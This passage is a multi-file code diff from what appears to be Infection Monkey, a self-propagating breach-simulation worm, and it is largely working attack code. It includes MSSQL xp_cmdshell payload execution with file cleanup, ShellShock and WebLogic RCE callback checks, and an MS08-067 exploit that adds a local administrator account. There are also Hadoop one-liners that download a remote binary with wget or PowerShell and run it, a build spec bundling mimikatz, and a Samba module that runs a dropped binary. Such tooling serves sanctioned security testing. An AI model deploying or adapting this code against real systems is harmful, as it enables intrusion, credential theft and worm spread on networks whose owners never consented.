EXEC @i=xp_cmdshell "chdir C:\\& C:\\tmp\\{0}", no_output \
|
||||||
|
SELECT @i """.format(payload_file_name)
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Executing payload on remote host
|
||||||
|
LOG.debug('Starting execution process of payload: {0} on remote host'.format(payload_file_name))
|
||||||
|
self.cursor.execute(shellcmd)
|
||||||
|
if self.cursor.fetchall()[0][0] == 0:
|
||||||
|
# Success
|
||||||
|
self.ftp_server_p.terminate()
|
||||||
|
LOG.debug('Payload: {0} execution on remote host was a success'.format(payload_file_name))
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
LOG.warning('Payload: {0} execution on remote host failed'.format(payload_file_name))
|
||||||
|
self.ftp_server_p.terminate()
|
||||||
|
return False
|
||||||
|
|
||||||
|
except pymssql.OperationalError:
|
||||||
|
LOG.error('Executing payload: {0} failed'.format(payload_file_name), exc_info=True)
|
||||||
|
self.ftp_server_p.terminate()
|
||||||
|
return False
|
||||||
|
|
||||||
|
def cleanup_files(self):
|
||||||
|
"""
|
||||||
|
Cleans up the folder with the attack related files (C:\\tmp by default)
|
||||||
|
:return: True or False if command executed or not.
|
||||||
|
"""
|
||||||
|
cleanup_command = """xp_cmdshell "rd /s /q c:\\tmp" """
|
||||||
|
try:
|
||||||
|
self.cursor.execute(cleanup_command)
|
||||||
|
LOG.info('Attack files cleanup command has been sent.')
|
||||||
|
return True
|
||||||
|
except Exception as e:
|
||||||
|
LOG.error('Error cleaning the attack files using xp_cmdshell, files may remain on host', exc_info=True)
|
||||||
|
return False
|
||||||
|
|
||||||
|
def __init_ftp_server(self):
|
||||||
|
"""
|
||||||
|
Init an FTP server using FTP class on a different process
|
||||||
|
|
||||||
|
Return:
|
||||||
|
ftp_s: FTP server object
|
||||||
|
p: the process obj of the FTP object
|
||||||
|
"""
|
||||||
|
|
||||||
|
try:
|
||||||
|
ftp_s = FTP()
|
||||||
|
multiprocessing.log_to_stderr(logging.DEBUG)
|
||||||
|
p = multiprocessing.Process(target=ftp_s.run_server)
|
||||||
|
p.start()
|
||||||
|
LOG.debug('Successfully established an FTP server in another process: {0}, {1}'.format(ftp_s, p.name))
|
||||||
|
return ftp_s, p
|
||||||
|
except Exception as e:
|
||||||
|
LOG.error('Exception raised while trying to pull up the ftp server', exc_info=True)
|
||||||
|
return None, None
|
|
@ -202,8 +202,17 @@ class ShellShockExploiter(HostExploiter):
|
||||||
if is_https:
|
if is_https:
|
||||||
attack_path = 'https://'
|
attack_path = 'https://'
|
||||||
attack_path = attack_path + str(host) + ":" + str(port)
|
attack_path = attack_path + str(host) + ":" + str(port)
|
||||||
|
reqs = []
|
||||||
|
timeout = False
|
||||||
attack_urls = [attack_path + url for url in url_list]
|
attack_urls = [attack_path + url for url in url_list]
|
||||||
reqs = [requests.head(u, verify=False, timeout=TIMEOUT) for u in attack_urls]
|
for u in attack_urls:
|
||||||
|
try:
|
||||||
|
reqs.append(requests.head(u, verify=False, timeout=TIMEOUT))
|
||||||
|
except requests.Timeout:
|
||||||
|
timeout = True
|
||||||
|
break
|
||||||
|
if timeout:
|
||||||
|
LOG.debug("Some connections timed out while sending request to potentially vulnerable urls.")
|
||||||
valid_resps = [req for req in reqs if req and req.status_code == requests.codes.ok]
|
valid_resps = [req for req in reqs if req and req.status_code == requests.codes.ok]
|
||||||
urls = [resp.url for resp in valid_resps]
|
urls = [resp.url for resp in valid_resps]
|
||||||
|
|
||||||
|
|
|
@ -54,7 +54,7 @@ class WebRCE(HostExploiter):
|
||||||
exploit_config['upload_commands'] = None
|
exploit_config['upload_commands'] = None
|
||||||
|
|
||||||
# url_extensions: What subdirectories to scan (www.domain.com[/extension]). Eg. ["home", "index.php"]
|
# url_extensions: What subdirectories to scan (www.domain.com[/extension]). Eg. ["home", "index.php"]
|
||||||
exploit_config['url_extensions'] = None
|
exploit_config['url_extensions'] = []
|
||||||
|
|
||||||
# stop_checking_urls: If true it will stop checking vulnerable urls once one was found vulnerable.
|
# stop_checking_urls: If true it will stop checking vulnerable urls once one was found vulnerable.
|
||||||
exploit_config['stop_checking_urls'] = False
|
exploit_config['stop_checking_urls'] = False
|
||||||
|
|
|
@ -13,13 +13,16 @@ from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
|
||||||
|
|
||||||
import threading
|
import threading
|
||||||
import logging
|
import logging
|
||||||
|
import time
|
||||||
|
|
||||||
__author__ = "VakarisZ"
|
__author__ = "VakarisZ"
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
# How long server waits for get request in seconds
|
# How long server waits for get request in seconds
|
||||||
SERVER_TIMEOUT = 4
|
SERVER_TIMEOUT = 4
|
||||||
# How long to wait for a request to go to vuln machine and then to our server from there. In seconds
|
# How long should be wait after each request in seconds
|
||||||
|
REQUEST_DELAY = 0.0001
|
||||||
|
# How long to wait for a sign(request from host) that server is vulnerable. In seconds
|
||||||
REQUEST_TIMEOUT = 2
|
REQUEST_TIMEOUT = 2
|
||||||
# How long to wait for response in exploitation. In seconds
|
# How long to wait for response in exploitation. In seconds
|
||||||
EXECUTION_TIMEOUT = 15
|
EXECUTION_TIMEOUT = 15
|
||||||
|
@ -66,18 +69,41 @@ class WebLogicExploiter(WebRCE):
|
||||||
print(e)
|
print(e)
|
||||||
return True
|
return True
|
||||||
|
|
||||||
def check_if_exploitable(self, url):
|
def add_vulnerable_urls(self, urls, stop_checking=False):
|
||||||
|
"""
|
||||||
|
Overrides parent method to use listener server
|
||||||
|
"""
|
||||||
# Server might get response faster than it starts listening to it, we need a lock
|
# Server might get response faster than it starts listening to it, we need a lock
|
||||||
httpd, lock = self._start_http_server()
|
httpd, lock = self._start_http_server()
|
||||||
payload = self.get_test_payload(ip=httpd._local_ip, port=httpd._local_port)
|
exploitable = False
|
||||||
|
|
||||||
|
for url in urls:
|
||||||
|
if self.check_if_exploitable_weblogic(url, httpd):
|
||||||
|
exploitable = True
|
||||||
|
break
|
||||||
|
|
||||||
|
if not exploitable and httpd.get_requests < 1:
|
||||||
|
# Wait for responses
|
||||||
|
time.sleep(REQUEST_TIMEOUT)
|
||||||
|
|
||||||
|
if httpd.get_requests > 0:
|
||||||
|
# Add all urls because we don't know which one is vulnerable
|
||||||
|
self.vulnerable_urls.extend(urls)
|
||||||
|
self._exploit_info['vulnerable_urls'] = self.vulnerable_urls
|
||||||
|
else:
|
||||||
|
LOG.info("No vulnerable urls found, skipping.")
|
||||||
|
|
||||||
|
self._stop_http_server(httpd, lock)
|
||||||
|
|
||||||
|
def check_if_exploitable_weblogic(self, url, httpd):
|
||||||
|
payload = self.get_test_payload(ip=httpd.local_ip, port=httpd.local_port)
|
||||||
try:
|
try:
|
||||||
post(url, data=payload, headers=HEADERS, timeout=REQUEST_TIMEOUT, verify=False)
|
post(url, data=payload, headers=HEADERS, timeout=REQUEST_DELAY, verify=False)
|
||||||
except exceptions.ReadTimeout:
|
except exceptions.ReadTimeout:
|
||||||
# Our request does not get response thus we get ReadTimeout error
|
# Our request will not get response thus we get ReadTimeout error
|
||||||
pass
|
pass
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
LOG.error("Something went wrong: %s" % e)
|
LOG.error("Something went wrong: %s" % e)
|
||||||
self._stop_http_server(httpd, lock)
|
|
||||||
return httpd.get_requests > 0
|
return httpd.get_requests > 0
|
||||||
|
|
||||||
def _start_http_server(self):
|
def _start_http_server(self):
|
||||||
|
@ -94,7 +120,8 @@ class WebLogicExploiter(WebRCE):
|
||||||
lock.acquire()
|
lock.acquire()
|
||||||
return httpd, lock
|
return httpd, lock
|
||||||
|
|
||||||
def _stop_http_server(self, httpd, lock):
|
@staticmethod
|
||||||
|
def _stop_http_server(httpd, lock):
|
||||||
lock.release()
|
lock.release()
|
||||||
httpd.join(SERVER_TIMEOUT)
|
httpd.join(SERVER_TIMEOUT)
|
||||||
httpd.stop()
|
httpd.stop()
|
||||||
|
@ -168,8 +195,8 @@ class WebLogicExploiter(WebRCE):
|
||||||
we determine if we can exploit by either getting a GET request from host or not.
|
we determine if we can exploit by either getting a GET request from host or not.
|
||||||
"""
|
"""
|
||||||
def __init__(self, local_ip, local_port, lock, max_requests=1):
|
def __init__(self, local_ip, local_port, lock, max_requests=1):
|
||||||
self._local_ip = local_ip
|
self.local_ip = local_ip
|
||||||
self._local_port = local_port
|
self.local_port = local_port
|
||||||
self.get_requests = 0
|
self.get_requests = 0
|
||||||
self.max_requests = max_requests
|
self.max_requests = max_requests
|
||||||
self._stopped = False
|
self._stopped = False
|
||||||
|
@ -184,7 +211,7 @@ class WebLogicExploiter(WebRCE):
|
||||||
LOG.info('Server received a request from vulnerable machine')
|
LOG.info('Server received a request from vulnerable machine')
|
||||||
self.get_requests += 1
|
self.get_requests += 1
|
||||||
LOG.info('Server waiting for exploited machine request...')
|
LOG.info('Server waiting for exploited machine request...')
|
||||||
httpd = HTTPServer((self._local_ip, self._local_port), S)
|
httpd = HTTPServer((self.local_ip, self.local_port), S)
|
||||||
httpd.daemon = True
|
httpd.daemon = True
|
||||||
self.lock.release()
|
self.lock.release()
|
||||||
while not self._stopped and self.get_requests < self.max_requests:
|
while not self._stopped and self.get_requests < self.max_requests:
|
||||||
|
|
|
@ -192,9 +192,9 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
|
|
||||||
sock.send("cmd /c (net user %s %s /add) &&"
|
sock.send("cmd /c (net user %s %s /add) &&"
|
||||||
" (net localgroup administrators %s /add)\r\n" %
|
" (net localgroup administrators %s /add)\r\n" %
|
||||||
(self._config.ms08_067_remote_user_add,
|
(self._config.user_to_add,
|
||||||
self._config.ms08_067_remote_user_pass,
|
self._config.remote_user_pass,
|
||||||
self._config.ms08_067_remote_user_add))
|
self._config.user_to_add))
|
||||||
time.sleep(2)
|
time.sleep(2)
|
||||||
reply = sock.recv(1000)
|
reply = sock.recv(1000)
|
||||||
|
|
||||||
|
@ -213,8 +213,8 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
remote_full_path = SmbTools.copy_file(self.host,
|
remote_full_path = SmbTools.copy_file(self.host,
|
||||||
src_path,
|
src_path,
|
||||||
self._config.dropper_target_path_win_32,
|
self._config.dropper_target_path_win_32,
|
||||||
self._config.ms08_067_remote_user_add,
|
self._config.user_to_add,
|
||||||
self._config.ms08_067_remote_user_pass)
|
self._config.remote_user_pass)
|
||||||
|
|
||||||
if not remote_full_path:
|
if not remote_full_path:
|
||||||
# try other passwords for administrator
|
# try other passwords for administrator
|
||||||
|
@ -240,7 +240,7 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
|
|
||||||
try:
|
try:
|
||||||
sock.send("start %s\r\n" % (cmdline,))
|
sock.send("start %s\r\n" % (cmdline,))
|
||||||
sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add,))
|
sock.send("net user %s /delete\r\n" % (self._config.user_to_add,))
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", self.host, exc)
|
LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", self.host, exc)
|
||||||
return False
|
return False
|
||||||
|
|
|
@ -13,6 +13,7 @@ from infection_monkey.config import WormConfiguration, EXTERNAL_CONFIG_FILE
|
||||||
from infection_monkey.dropper import MonkeyDrops
|
from infection_monkey.dropper import MonkeyDrops
|
||||||
from infection_monkey.model import MONKEY_ARG, DROPPER_ARG
|
from infection_monkey.model import MONKEY_ARG, DROPPER_ARG
|
||||||
from infection_monkey.monkey import InfectionMonkey
|
from infection_monkey.monkey import InfectionMonkey
|
||||||
|
import infection_monkey.post_breach # dummy import for pyinstaller
|
||||||
|
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
|
||||||
|
@ -21,7 +22,7 @@ LOG = None
|
||||||
LOG_CONFIG = {'version': 1,
|
LOG_CONFIG = {'version': 1,
|
||||||
'disable_existing_loggers': False,
|
'disable_existing_loggers': False,
|
||||||
'formatters': {'standard': {
|
'formatters': {'standard': {
|
||||||
'format': '%(asctime)s [%(process)d:%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s'},
|
'format': '%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s'},
|
||||||
},
|
},
|
||||||
'handlers': {'console': {'class': 'logging.StreamHandler',
|
'handlers': {'console': {'class': 'logging.StreamHandler',
|
||||||
'level': 'DEBUG',
|
'level': 'DEBUG',
|
||||||
|
|
|
@ -24,8 +24,20 @@ CHMOD_MONKEY = "chmod +x %(monkey_path)s"
|
||||||
RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s"
|
RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s"
|
||||||
# Commands used to check for architecture and if machine is exploitable
|
# Commands used to check for architecture and if machine is exploitable
|
||||||
CHECK_COMMAND = "echo %s" % ID_STRING
|
CHECK_COMMAND = "echo %s" % ID_STRING
|
||||||
|
# CMD prefix for windows commands
|
||||||
|
CMD_PREFIX = "cmd.exe /c"
|
||||||
# Architecture checking commands
|
# Architecture checking commands
|
||||||
GET_ARCH_WINDOWS = "wmic os get osarchitecture"
|
GET_ARCH_WINDOWS = "wmic os get osarchitecture"
|
||||||
GET_ARCH_LINUX = "lscpu"
|
GET_ARCH_LINUX = "lscpu"
|
||||||
|
|
||||||
DOWNLOAD_TIMEOUT = 300
|
# All in one commands (upload, change permissions, run)
|
||||||
|
HADOOP_WINDOWS_COMMAND = "powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { " \
|
||||||
|
"Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " \
|
||||||
|
" if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " \
|
||||||
|
"{& %(monkey_path)s %(monkey_type)s %(parameters)s } \""
|
||||||
|
HADOOP_LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \
|
||||||
|
"&& wget -O %(monkey_path)s %(http_path)s " \
|
||||||
|
"; chmod +x %(monkey_path)s " \
|
||||||
|
"&& %(monkey_path)s %(monkey_type)s %(parameters)s"
|
||||||
|
|
||||||
|
DOWNLOAD_TIMEOUT = 300
|
||||||
|
|
|
@ -2,8 +2,9 @@ __author__ = 'itamar'
|
||||||
|
|
||||||
|
|
||||||
class VictimHost(object):
|
class VictimHost(object):
|
||||||
def __init__(self, ip_addr):
|
def __init__(self, ip_addr, domain_name=''):
|
||||||
self.ip_addr = ip_addr
|
self.ip_addr = ip_addr
|
||||||
|
self.domain_name = str(domain_name)
|
||||||
self.os = {}
|
self.os = {}
|
||||||
self.services = {}
|
self.services = {}
|
||||||
self.monkey_exe = None
|
self.monkey_exe = None
|
||||||
|
|
|
@ -1,32 +0,0 @@
|
||||||
# -*- mode: python -*-
|
|
||||||
|
|
||||||
block_cipher = None
|
|
||||||
|
|
||||||
|
|
||||||
a = Analysis(['main.py'],
|
|
||||||
pathex=['..'],
|
|
||||||
binaries=None,
|
|
||||||
datas=None,
|
|
||||||
hiddenimports=['_cffi_backend'],
|
|
||||||
hookspath=None,
|
|
||||||
runtime_hooks=None,
|
|
||||||
excludes=None,
|
|
||||||
win_no_prefer_redirects=None,
|
|
||||||
win_private_assemblies=None,
|
|
||||||
cipher=block_cipher)
|
|
||||||
|
|
||||||
a.binaries += [('sc_monkey_runner32.so', './bin/sc_monkey_runner32.so', 'BINARY')]
|
|
||||||
a.binaries += [('sc_monkey_runner64.so', './bin/sc_monkey_runner64.so', 'BINARY')]
|
|
||||||
|
|
||||||
pyz = PYZ(a.pure, a.zipped_data,
|
|
||||||
cipher=block_cipher)
|
|
||||||
exe = EXE(pyz,
|
|
||||||
a.scripts,
|
|
||||||
a.binaries,
|
|
||||||
a.zipfiles,
|
|
||||||
a.datas,
|
|
||||||
name='monkey',
|
|
||||||
debug=False,
|
|
||||||
strip=True,
|
|
||||||
upx=True,
|
|
||||||
console=True )
|
|
|
@ -109,6 +109,10 @@ class InfectionMonkey(object):
|
||||||
system_info = system_info_collector.get_info()
|
system_info = system_info_collector.get_info()
|
||||||
ControlClient.send_telemetry("system_info_collection", system_info)
|
ControlClient.send_telemetry("system_info_collection", system_info)
|
||||||
|
|
||||||
|
for action_class in WormConfiguration.post_breach_actions:
|
||||||
|
action = action_class()
|
||||||
|
action.act()
|
||||||
|
|
||||||
if 0 == WormConfiguration.depth:
|
if 0 == WormConfiguration.depth:
|
||||||
LOG.debug("Reached max depth, shutting down")
|
LOG.debug("Reached max depth, shutting down")
|
||||||
ControlClient.send_telemetry("trace", "Reached max depth, shutting down")
|
ControlClient.send_telemetry("trace", "Reached max depth, shutting down")
|
||||||
|
@ -120,9 +124,6 @@ class InfectionMonkey(object):
|
||||||
ControlClient.keepalive()
|
ControlClient.keepalive()
|
||||||
ControlClient.load_control_config()
|
ControlClient.load_control_config()
|
||||||
|
|
||||||
LOG.debug("Users to try: %s" % str(WormConfiguration.exploit_user_list))
|
|
||||||
LOG.debug("Passwords to try: %s" % str(WormConfiguration.exploit_password_list))
|
|
||||||
|
|
||||||
self._network.initialize()
|
self._network.initialize()
|
||||||
|
|
||||||
self._exploiters = WormConfiguration.exploiter_classes
|
self._exploiters = WormConfiguration.exploiter_classes
|
||||||
|
@ -132,8 +133,7 @@ class InfectionMonkey(object):
|
||||||
if not self._keep_running or not WormConfiguration.alive:
|
if not self._keep_running or not WormConfiguration.alive:
|
||||||
break
|
break
|
||||||
|
|
||||||
machines = self._network.get_victim_machines(WormConfiguration.scanner_class,
|
machines = self._network.get_victim_machines(max_find=WormConfiguration.victims_max_find,
|
||||||
max_find=WormConfiguration.victims_max_find,
|
|
||||||
stop_callback=ControlClient.check_for_stop)
|
stop_callback=ControlClient.check_for_stop)
|
||||||
is_empty = True
|
is_empty = True
|
||||||
for machine in machines:
|
for machine in machines:
|
||||||
|
@ -147,7 +147,7 @@ class InfectionMonkey(object):
|
||||||
finger.get_host_fingerprint(machine)
|
finger.get_host_fingerprint(machine)
|
||||||
|
|
||||||
ControlClient.send_telemetry('scan', {'machine': machine.as_dict(),
|
ControlClient.send_telemetry('scan', {'machine': machine.as_dict(),
|
||||||
'scanner': WormConfiguration.scanner_class.__name__})
|
})
|
||||||
|
|
||||||
# skip machines that we've already exploited
|
# skip machines that we've already exploited
|
||||||
if machine in self._exploited_machines:
|
if machine in self._exploited_machines:
|
||||||
|
|
|
@ -2,39 +2,120 @@
|
||||||
import os
|
import os
|
||||||
import platform
|
import platform
|
||||||
|
|
||||||
|
|
||||||
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
|
block_cipher = None
|
||||||
|
|
||||||
# Name of zip file in monkey. That's the name of the file in the _MEI folder
|
# Name of zip file in monkey. That's the name of the file in the _MEI folder
|
||||||
MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip'
|
MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip'
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
a = Analysis(['main.py'],
|
||||||
|
pathex=['..'],
|
||||||
|
hiddenimports=get_hidden_imports(),
|
||||||
|
hookspath=None,
|
||||||
|
runtime_hooks=None,
|
||||||
|
binaries=None,
|
||||||
|
datas=None,
|
||||||
|
excludes=None,
|
||||||
|
win_no_prefer_redirects=None,
|
||||||
|
win_private_assemblies=None,
|
||||||
|
cipher=block_cipher
|
||||||
|
)
|
||||||
|
|
||||||
|
a.binaries += get_binaries()
|
||||||
|
a.datas = process_datas(a.datas)
|
||||||
|
|
||||||
|
pyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher)
|
||||||
|
exe = EXE(pyz,
|
||||||
|
a.scripts,
|
||||||
|
a.binaries,
|
||||||
|
a.zipfiles,
|
||||||
|
a.datas,
|
||||||
|
name=get_monkey_filename(),
|
||||||
|
debug=False,
|
||||||
|
strip=get_exe_strip(),
|
||||||
|
upx=True,
|
||||||
|
console=True,
|
||||||
|
icon=get_exe_icon())
|
||||||
|
|
||||||
|
|
||||||
|
def is_windows():
|
||||||
|
return platform.system().find("Windows") >= 0
|
||||||
|
|
||||||
|
|
||||||
|
def is_32_bit():
|
||||||
|
return platform.architecture()[0] == "32bit"
|
||||||
|
|
||||||
|
|
||||||
|
def get_bin_folder():
|
||||||
|
return os.path.join('.', 'bin')
|
||||||
|
|
||||||
|
|
||||||
|
def get_bin_file_path(filename):
|
||||||
|
return os.path.join(get_bin_folder(), filename)
|
||||||
|
|
||||||
|
|
||||||
|
def process_datas(orig_datas):
|
||||||
|
datas = orig_datas
|
||||||
|
if is_windows():
|
||||||
|
datas = [i for i in datas if i[0].find('Include') < 0]
|
||||||
|
datas += [(MIMIKATZ_ZIP_NAME, get_mimikatz_zip_path(), 'BINARY')]
|
||||||
|
return datas
|
||||||
|
|
||||||
|
|
||||||
|
def get_binaries():
|
||||||
|
binaries = get_windows_only_binaries() if is_windows() else get_linux_only_binaries()
|
||||||
|
binaries += get_sc_binaries()
|
||||||
|
binaries += get_traceroute_binaries()
|
||||||
|
return binaries
|
||||||
|
|
||||||
|
|
||||||
|
def get_windows_only_binaries():
|
||||||
|
binaries = []
|
||||||
|
binaries += get_msvcr()
|
||||||
|
return binaries
|
||||||
|
|
||||||
|
|
||||||
|
def get_linux_only_binaries():
|
||||||
|
binaries = []
|
||||||
|
return binaries
|
||||||
|
|
||||||
|
|
||||||
|
def get_hidden_imports():
|
||||||
|
return ['_cffi_backend', 'queue', '_mssql'] if is_windows() else ['_cffi_backend','_mssql']
|
||||||
|
|
||||||
|
|
||||||
|
def get_sc_binaries():
|
||||||
|
return [(x, get_bin_file_path(x), 'BINARY') for x in ['sc_monkey_runner32.so', 'sc_monkey_runner64.so']]
|
||||||
|
|
||||||
|
|
||||||
|
def get_msvcr():
|
||||||
|
return [('msvcr100.dll', os.environ['WINDIR'] + '\\system32\\msvcr100.dll', 'BINARY')]
|
||||||
|
|
||||||
|
|
||||||
|
def get_traceroute_binaries():
|
||||||
|
traceroute_name = 'traceroute32' if is_32_bit() else 'traceroute64'
|
||||||
|
return [(traceroute_name, get_bin_file_path(traceroute_name), 'BINARY')]
|
||||||
|
|
||||||
|
|
||||||
|
def get_monkey_filename():
|
||||||
|
return 'monkey.exe' if is_windows() else 'monkey'
|
||||||
|
|
||||||
|
|
||||||
|
def get_exe_strip():
|
||||||
|
return not is_windows()
|
||||||
|
|
||||||
|
|
||||||
|
def get_exe_icon():
|
||||||
|
return 'monkey.ico' if is_windows() else None
|
||||||
|
|
||||||
|
|
||||||
def get_mimikatz_zip_path():
|
def get_mimikatz_zip_path():
|
||||||
if platform.architecture()[0] == "32bit":
|
mk_filename = 'mk32.zip' if is_32_bit() else 'mk64.zip'
|
||||||
return '.\\bin\\mk32.zip'
|
return os.path.join(get_bin_folder(), mk_filename)
|
||||||
else:
|
|
||||||
return '.\\bin\\mk64.zip'
|
|
||||||
|
|
||||||
|
|
||||||
a = Analysis(['main.py'],
|
main() # We don't check if __main__ because this isn't the main script.
|
||||||
pathex=['..'],
|
|
||||||
hiddenimports=['_cffi_backend', 'queue'],
|
|
||||||
hookspath=None,
|
|
||||||
runtime_hooks=None)
|
|
||||||
|
|
||||||
a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')]
|
|
||||||
a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')]
|
|
||||||
|
|
||||||
if platform.system().find("Windows") >= 0:
|
|
||||||
a.datas = [i for i in a.datas if i[0].find('Include') < 0]
|
|
||||||
a.datas += [(MIMIKATZ_ZIP_NAME, get_mimikatz_zip_path(), 'BINARY')]
|
|
||||||
|
|
||||||
pyz = PYZ(a.pure)
|
|
||||||
exe = EXE(pyz,
|
|
||||||
a.scripts,
|
|
||||||
a.binaries + [('msvcr100.dll', os.environ['WINDIR'] + '\\system32\\msvcr100.dll', 'BINARY')],
|
|
||||||
a.zipfiles,
|
|
||||||
a.datas,
|
|
||||||
name='monkey.exe',
|
|
||||||
debug=False,
|
|
||||||
strip=None,
|
|
||||||
upx=True,
|
|
||||||
console=True,
|
|
||||||
icon='monkey.ico')
|
|
||||||
|
|
|
@ -32,7 +32,7 @@ int samba_init_module(void)
|
||||||
const char RUN_MONKEY_CMD[] = "./";
|
const char RUN_MONKEY_CMD[] = "./";
|
||||||
const char MONKEY_DEST_FOLDER[] = "/tmp";
|
const char MONKEY_DEST_FOLDER[] = "/tmp";
|
||||||
const char MONKEY_DEST_NAME[] = "monkey";
|
const char MONKEY_DEST_NAME[] = "monkey";
|
||||||
|
|
||||||
int found = 0;
|
int found = 0;
|
||||||
char modulePathLine[LINE_MAX_LENGTH] = {'\0'};
|
char modulePathLine[LINE_MAX_LENGTH] = {'\0'};
|
||||||
char commandline[LINE_MAX_LENGTH] = {'\0'};
|
char commandline[LINE_MAX_LENGTH] = {'\0'};
|
||||||
|
@ -43,22 +43,22 @@ int samba_init_module(void)
|
||||||
int monkeySize = 0;
|
int monkeySize = 0;
|
||||||
void* monkeyBinary = NULL;
|
void* monkeyBinary = NULL;
|
||||||
struct stat fileStats;
|
struct stat fileStats;
|
||||||
|
|
||||||
pid = fork();
|
pid = fork();
|
||||||
|
|
||||||
if (0 != pid)
|
if (0 != pid)
|
||||||
{
|
{
|
||||||
// error or this is parent - nothing to do but return.
|
// error or this is parent - nothing to do but return.
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Find fullpath of running module.
|
// Find fullpath of running module.
|
||||||
pFile = fopen("/proc/self/maps", "r");
|
pFile = fopen("/proc/self/maps", "r");
|
||||||
if (NULL == pFile)
|
if (NULL == pFile)
|
||||||
{
|
{
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
while (fgets(modulePathLine, LINE_MAX_LENGTH, pFile) != NULL) {
|
while (fgets(modulePathLine, LINE_MAX_LENGTH, pFile) != NULL) {
|
||||||
fileNamePointer = strstr(modulePathLine, RUNNER_FILENAME);
|
fileNamePointer = strstr(modulePathLine, RUNNER_FILENAME);
|
||||||
if (fileNamePointer != NULL) {
|
if (fileNamePointer != NULL) {
|
||||||
|
@ -66,44 +66,42 @@ int samba_init_module(void)
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
fclose(pFile);
|
fclose(pFile);
|
||||||
|
|
||||||
// We can't find ourselves in module list
|
// We can't find ourselves in module list
|
||||||
if (0 == found)
|
if (0 == found)
|
||||||
{
|
{
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
monkeyDirectory = strchr(modulePathLine, '/');
|
monkeyDirectory = strchr(modulePathLine, '/');
|
||||||
*fileNamePointer = '\0';
|
*fileNamePointer = '\0';
|
||||||
|
|
||||||
if (0 != chdir(monkeyDirectory))
|
if (0 != chdir(monkeyDirectory))
|
||||||
{
|
{
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Write file to indicate we're running
|
// Write file to indicate we're running
|
||||||
pFile = fopen(RUNNER_RESULT_FILENAME, "w");
|
pFile = fopen(RUNNER_RESULT_FILENAME, "w");
|
||||||
if (NULL == pFile)
|
if (NULL == pFile)
|
||||||
{
|
{
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
fwrite(monkeyDirectory, 1, strlen(monkeyDirectory), pFile);
|
fwrite(monkeyDirectory, 1, strlen(monkeyDirectory), pFile);
|
||||||
fclose(pFile);
|
fclose(pFile);
|
||||||
|
|
||||||
// Read commandline
|
// Read commandline
|
||||||
pFile = fopen(COMMANDLINE_FILENAME, "r");
|
pFile = fopen(COMMANDLINE_FILENAME, "r");
|
||||||
if (NULL == pFile)
|
if (NULL == pFile)
|
||||||
{
|
{
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Build commandline
|
// Build commandline
|
||||||
strncat(commandline, RUN_MONKEY_CMD, sizeof(RUN_MONKEY_CMD) - 1);
|
snprintf(commandline, sizeof(commandline), "%s%s ", RUN_MONKEY_CMD, MONKEY_DEST_NAME);
|
||||||
strncat(commandline, MONKEY_DEST_NAME, sizeof(MONKEY_DEST_NAME) - 1);
|
|
||||||
strncat(commandline, " ", 1);
|
|
||||||
|
|
||||||
fread(commandline + strlen(commandline), 1, LINE_MAX_LENGTH, pFile);
|
fread(commandline + strlen(commandline), 1, LINE_MAX_LENGTH, pFile);
|
||||||
fclose(pFile);
|
fclose(pFile);
|
||||||
|
|
|
@ -4,4 +4,4 @@
|
||||||
extern int samba_init_module(void);
|
extern int samba_init_module(void);
|
||||||
extern int init_samba_module(void);
|
extern int init_samba_module(void);
|
||||||
|
|
||||||
#endif // monkey_runner_h__
|
#endif // monkey_runner_h__
|
||||||
|
|
|
@ -6,6 +6,7 @@ from infection_monkey.config import WormConfiguration
|
||||||
from infection_monkey.network.info import local_ips, get_interfaces_ranges
|
from infection_monkey.network.info import local_ips, get_interfaces_ranges
|
||||||
from infection_monkey.model import VictimHost
|
from infection_monkey.model import VictimHost
|
||||||
from infection_monkey.network import HostScanner
|
from infection_monkey.network import HostScanner
|
||||||
|
from infection_monkey.network import TcpScanner, PingScanner
|
||||||
|
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
|
||||||
|
@ -62,7 +63,7 @@ class NetworkScanner(object):
|
||||||
|
|
||||||
return subnets_to_scan
|
return subnets_to_scan
|
||||||
|
|
||||||
def get_victim_machines(self, scan_type, max_find=5, stop_callback=None):
|
def get_victim_machines(self, max_find=5, stop_callback=None):
|
||||||
"""
|
"""
|
||||||
